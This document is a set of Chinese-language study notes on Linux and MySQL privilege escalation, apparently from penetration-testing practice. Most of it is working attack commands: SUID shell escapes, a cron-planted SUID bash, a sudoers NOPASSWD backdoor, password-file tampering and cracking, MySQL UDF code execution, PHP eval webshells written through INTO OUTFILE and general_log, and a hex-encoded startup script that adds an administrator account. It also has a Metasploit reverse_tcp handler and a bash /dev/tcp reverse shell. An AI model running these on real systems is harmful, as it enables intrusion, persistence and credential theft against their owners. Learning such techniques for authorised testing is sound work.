最简单的就是猜一猜是不是和之前的密码是同一个

# 内核漏洞

在得到的shell上查询版本:
uname -a
在kali搜索改版本存在的漏洞:
searchsploit linux 3.2.78
下载后上传,可能需要编译:
gcc -pthread 40839.c -o 40839 -lcrypt
运行后可能会得到一个新的账户,切换过去:
su firefart

# SUID 配置

SUID(Set User ID)是 Linux/Unix 系统中的一种特殊权限,其作用是:当一个文件被设置了 SUID 权限,用户执行该文件时,会临时获得文件所有者的权限

例如 passwd 命令的所有者是 root 用户,当其他用户改变其密码时,可以通过 SUID 来临时以 root 而非自身的权限来执行这个文件。如果不使用 SUID, 将无法更新密码。

ping,crontaba/at (用于计划工作,通常需要修改一些位于 /etc 的配置文件) 也有 SUID

设置方法:

chmod u+s file.txt  / chmod 4750 file.txt
#需要注意,只有可执行文件(除去 shell)的 SUID 才有实际意义,但是任何一个文件或者文件夹都可以设置 SUID
#即使配置了 SUID, 其他用户也必须拥有该文件的执行权限 x
#在 ls -l 中,有 SUID 的文件权限以 s 表示(用数字表示就是最前面的 4),当其为大写时,说明当前用户缺少可执行权限,需要:
chmod u+x file.txt
find / -perm +4000
#查找所有带 SUID 位的文件,/ 表示根目录,perm 表示按权限寻找

其他具有 SUID 的文件

nmap
vim
find
bash
more
less
nano
cp

利用:

nmap --interactive
!sh
whoami
...
touch abc #随便创建的文件
find abc -exec whoami \;#对找到的每一个文件执行命令
...
vim.tiny /etc/shadow #随便打开一个 shell 文件
ESC
:set shell=/bin/sh  #设个变量 shell
:shell              #用 vim 启动这个 shell
whoami
...
less/more /etc/passwd
!bin/sh
whoami
...

计划任务:

ls -l /etc/cron*
cat /etc/crontab 
#看一眼有什么计划任务,如果有用 root 权限运行的,就去找对应文件,并 ls -l < 文件名 > 查看这个文件的权限,如果可以修改,就写几个 SUID:
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;
#等待其执行

# sudo 提权

使用 sudo 可以使得普通用户使用 root 用户的命令。这些用户必须在 /etc/sudoers 中配置。

vim /etc/sudoers
#向其中添加
test ALL=(ALL:ALL) NOPASSWD:ALL #test 为我们的用户

# 明文 root 密码

Linux 的密码与 /etc/passwd 和 etc/shadow 配置有关。passwd 里的用户所有人可读,root 可写。shadow 里的密码只有 root 可读写。

拥有 passwd 的写权限时

#一个正常的 passwd 用户部分是:
用户名:密码占位符:UID:GID:注释:家目录:默认shell
test:x:1000:1000::/home/test:/bin/bash
#其中 x 表示密码哈希在 shadow 中,如果把 x 替换为随意一段已知明文的哈希,那么这个用户的密码就会变成那个已知的明文

拥有 shadow 的写权限时

爆破,虽然不一定出的来

假设的 shadow 内容

test:66Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::

#使用 join 爆破,要求 shadow 和 passwd 在一个文件夹下:
john --user=test test.hash

# 数据库提权

前提

数据库开启且有最高权限用户密码

获取方式

读取配置文件 / 数据库存储或备份文件 / 暴力猜解

# UDF 提权

UDF(User Defined Fuction), 通过用户自己添加函数来扩展 mysql 的功能

额外要求

包含用户自定义函数的文件为.so 文件

在 my.ini 的 [mysqld] 下,添加 secure_file_priv="",不限制导入导出路径

导出目录可写

系统中的 selinux 处于关闭状态

信息收集

select version();
select user();
select @@basedir; #数据库安装目录(base,dir)
show variables like %plugin%; #模糊搜索变量,其实就是找插件路径

提权过程

1. 找到对应系统的 so 文件 (UDF 库文件),将其 16 进制编解码,写入到插件库中

sqlmap-master\data\udf\mysql\linux\64 下的 lib_mysqludf_sys.so_ 文件

select unhex(so文件的16进制编码) into dumpfile '/user/liib64/mysql/plugin/xxx.so'(插件路径)

2. 查看 UDF 库支持的函数并创建

只能创建在 so 文件中存在的函数,所以需要 16 进制编辑器来查看 so 文件

create function sys_eval return string soname 'xxx.so'

3. 执行系统命令,提权

select sys_eval("whoami");

使用 sqlmap 的动态链接库(需要导入)

编解码:

...\sqlmap\extra\cloak>python cloak.py -d -i 
---------------------------------------------
...\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll  
#windows 解码
...\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so  
#linux 解码

sql 注入导入(上传)

python sqlmap.py -u "xxx/?id=1" --file-write=".../sqlmap/extra/cloak/lib_mysqludf_sys_64.dll"(链接库目录) --file-dest=".../lib/plugin/lib_mysqludf_sys_64.dll"(插件目录)

sql 语句导入

#select后面为动态链接库的十六进制编码(数据太长,这里省略显示),此处要写文件,需要改secure_file_priv
SELECT 0x4d5a900003... INTO DUMPFILE 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll';

创建并查询自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select * from mysql.func;

拿下,以及跑路

mysql > select sys_eval('whoami');
mysql> drop function sys_eval;

# Webshell 提权

额外要求

load_file () 开启【secure_file_priv 无限制】
知道网站物理路径,且可写

信息收集

show global variables like '%secure_file_priv%';

一把梭

打开my.ini,对应处修改成:secure_file_priv=''

1753186755000

写 shell 的 sql 语句可以是用 phpmyadmin, 也可以是 sqlmap

sqlmap -u "http://x.x.x.x/?id=x" --file-write="xxx" --file-dest="xxx"

利用日志

mysql>SHOW VARIABLES LIKE '%general%';

可以看到:

1753187117100

log 会记录 mysql 命令行的每条指令,将其保存在 log_file 中。

mysql> set global general_log = "ON";   #开启general_log
mysql> set global general_log_file='c:/phpstudy_pro/www/shell.php';
#打开,然后修改路径
mysql> select "<?php @eval($_POST['suifeng']);?>";
#把马写到日志中去,然后就可以开香槟了

国光那篇终于正常了,补一补:


# 数据库权限

提权首先要拿到高权限的 MySQL 用户,有以下几种方法:

3306 端口弱口令爆破(这个端口是默认用于建立服务器链接的端口,在 my.cnf 或者 my.ini 中配置,使用 port 关键字)

sqlmap 注入的 --sql-shell 模式

在网站数据库配置文件中拿到明文密码

已知的 mysql 漏洞

# Webshell 权限

需要:

知道物理路径

已经拿到数据库权限

secure_file_priv 没有限制

查看是否有限制:

show global variables like %secure_file_priv%;
有以下三种:
NULL:不允许导入导出
/tmp:只允许在/tmp目录导入导出
空:无限制,在mysql5.5之前默认是空,之后默认是NULL,盲猜没人手动设置?

如果是空的话,直接写 shell:

select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

用 sqlmap:

sqlmap -u "xxx/?id=xx" --file-write="/Users/guang/Desktop/shell.php" --fileidest="/var/www/html/test/shell.php"

在 linux 下很可能没有权限

使用日志写入

需要 5.0 版本以上,默认关闭:

show variables like 'general%';#查看是否开启,以及其路径
set global genera_log = 'ON';
set global general_log_file='/var/www/html/info.php';
select '<?php phpinfo();?>'

虽然可以写入,但是由于日志是 mysql 的,很有可能 Apache 没有权限访问,返回 500

# Hash 获取与解密

SQL 注入有 DBA 权限,且可以换访问 3306 端口

select host,user,password from mysql.user;
select host,user,authentication_string from mysql.user;
#然后找点网站做hash解密,或者用hashcat跑字典
hashcat -a 0 -m 300 --force 'xxxx' password.txt -O

历史漏洞

CVE-2012-2122

知道用户名,多次使用错误密码,有可能成功登进去

for i in `seq 1 1000`;do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

可以直接用 msf,dump 出 mysql 的 hash 值

use anuxiliary/scanner/mysql/mysql_authbypass_hashdump
set set rhosts 127.0.0.1
run

# UDF 提权

版本在 5.1 以及之后,必须放在 lib\plugin 文件夹下才能创建自定义函数

动态链接库文件可以在 sqlmap 或者 metasploit 中找到

sqlmap:

sqlmap目录/data/udf/mysql

需要使用自带的编码工具解码

/extra/cloak/cloak.py
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so -o xxx.so
#解码后就在 cloak.py 所在目录下

metasploit:

msf目录/embedded/framework/data/exploits/mysql

这个开箱即食

寻找插件目录

show variables like "%plugin%"
//如果不存在可以手动创建\lib\plugin

写入

sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
#上面这个地方用不用hex解码都不重要
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; 

其中的十六进制文件见:

MySQL UDF 提权十六进制查询 | 国光

# 启动项提权

在 windows 下

找到对应系统的启动项路径,直接往里面写脚本(vbs 或者 exe)

Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0

把上述转成 16 进制,写到系统目录中:

mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
#注意一下路径要怎么写

使用 MSF

msf6 > use exploit/windows/mysql/mysql_start_up
# 配置 MySQL 连接信息,之后启动项文件夹要看情况填写
msf6 > set rhosts 10.211.55.6
msf6 > set username root
msf6 > set password root
msf6 > run
#执行完成后监听,需要目标系统重新登录才会触发
msf6 > handler -H 10.20.24.244 -P 4444 -p windows/meterpreter/reverse_tcp

历史漏洞

CVE-2016-6663

条件竞争提权漏洞,只要 select/create/insert 的低权限账户就可以用系统用户身份执行任意代码

利用条件

  1. Getshell 拿到 www-data 权限,最后提升为 mysql 权限
  2. 拿到 CREATE/INSERT/SELECT 低权限的 MySQL 账户
  3. 关键提取步骤需要在交互环境下,所以需要反弹 shell
  4. MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
  5. MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17

先连接上去上传 EXP

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1    #反弹shell
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
#编译EXP
# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
./mysql-privesc-race test 123456 localhost test
#执行EXP

# 其他

MOF 提权只在 windows server 2003 环境下成功,有遇到搜下就行